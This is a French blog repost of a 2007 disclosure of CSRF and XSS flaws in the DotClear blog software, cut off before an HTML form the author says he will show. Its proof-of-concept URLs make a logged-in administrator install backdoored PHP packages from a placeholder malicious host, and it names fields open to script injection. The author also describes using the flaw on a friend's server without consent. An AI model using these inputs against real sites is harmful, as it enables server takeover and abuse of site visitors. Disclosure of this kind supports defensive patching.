Le Blog de SckyzO

Source : http://ar3av.free.fr/faille-dotclear.php

Bulletin de sécurité
http://ar3av.free.fr/faille-dotclear.php
=======================================

Software: DotClear
Date: 08 Juillet 2007
Versions affectées: 1.2.6 et versions antérieures / 2.0 beta 6 et versions antérieures
Type de la faille: CSRF & XSS
Découvreur: PsychoGun

DotClear est un blog populaire écrit en PHP dans lequel j’ai découvert de nombreuses vulnérabilités. Cette application web offre à son administrateur une interface de gestion qui permet de le configurer, mais le problème réside dans le fait que cette interface ne respecte pas les conventions rudimentaires de sécurité. Ainsi le blog ne vérifie jamais correctement la provenance des données qui lui sont envoyées, et c’est pourquoi il est possible de faire accomplir des actions à l’administrateur sans son consentement.

Pour peu qu’il soit logué sur son compte, on peut faire supprimer, activer ou désactiver des plugins à l’administrateur. On peut aussi lui faire ajouter des plugins infectés par des backdoor écrites en php et prendre, de cette manière, le contrôle du serveur. A noter que le plugin qui permet d’en ajouter d’autres fait partie de la configuration minimale de DotClear. J’ai déjà exploité cette faille pour faire une plaisanterie à un ami. Son site était composé d’un blog et d’un forum. J’ai posté une fausse image sur son forum qui réalisait une re-direction vers une url de ce type:

http://victim.com/dotclear/ecrire/tools.php?tool_url=http://www.malicious-website.com/malicious-file.pkg.gz&p=toolsmng

Sans le savoir, en ne cliquant sur aucun lien et en visualisant une page de son propre site, l’administrateur à installé une backdoor écrite en php sur son serveur. J’avais donc obtenu le contrôle de ce serveur grâce à une vulnérabilité de DotClear aussi stupéfiante que facile à exploiter. Mon fichier “malicious-file.pkg.gz” a été produit avec un outil de DotClear et il contenait des fichiers php qui ont donc été placés sur le serveur. Il ne devrait pas être possible de faire ce genre de choses, et c’est parce que DotClear n’utilise pas un système de token qu’il est vulnérable. Cette faille est présente partout ailleurs sur le blog.
On retrouve cette même faille dans la partie du blog sui sert à gérer les thèmes. Encore une fois on peut faire supprimer, activer ou désactiver des thèmes à l’administrateur. On peut aussi lui faire ajouter de nouveaux thèmes contenant des fichier php qui serviraient de backdoor. Voici un proof of concept :

http://victim.com/dotclear/ecrire/tools.php?tool_url=http://www.malicious-website.com/evil.pkg.gz&p=thememng

Lorsque l’administrateur clique sur ce lien ou lorsqu’il qu’il visualise une page web(qui peut être la sienne) qui contient ce lien(dans une image ou une iframe par exemple), les backdoors écrites en php sont alors copiés sur le serveur visé.

On peut faire mettre n’importe quoi à l’administrateur dans les champs de cette page:

http://victim.com/dotclear/ecrire/tools.php?p=blogconf

parce qu’encore une fois le blog ne vérifie pas la provenance des données, par ailleurs le champs contenant le nom du blog peut recevoir du code Javascript et peut par conséquent être utilisé pour mener à bien des attaques de type cross site scripting.

Sur cette page:

http://victim.com/dotclear/ecrire/tools.php?p=blogroll

On peut faire placer des nouveaux liens ou des nouvelles rubriques à l’administrateur. On peut aussi lui faire effacer des liens ou des rubriques. Cette page présente aussi une faille Xss car on peut placer du code javascript dans ses champs et celui-ci est à chaque fois interprété (dans la partie admin). Le javascript inséré dans le champs “rubrique” est lui aussi interprété sur la 1ère la page du blog(page visible pour tout le monde).
Il est très facile de faire créer à l’administrateur des profiles d’utilisateurs ayant les mêmes pouvoirs que lui. Il suffit de lui faire visiter une page qui contient un code HTML similaire à celui-ci:

============================

Lire la suite de l’article et des astuces sur le site officiel à la demande de l’auteur : http://ar3av.free.fr/faille-dotclear.php

Articles relatifs

• Aucun article relatif.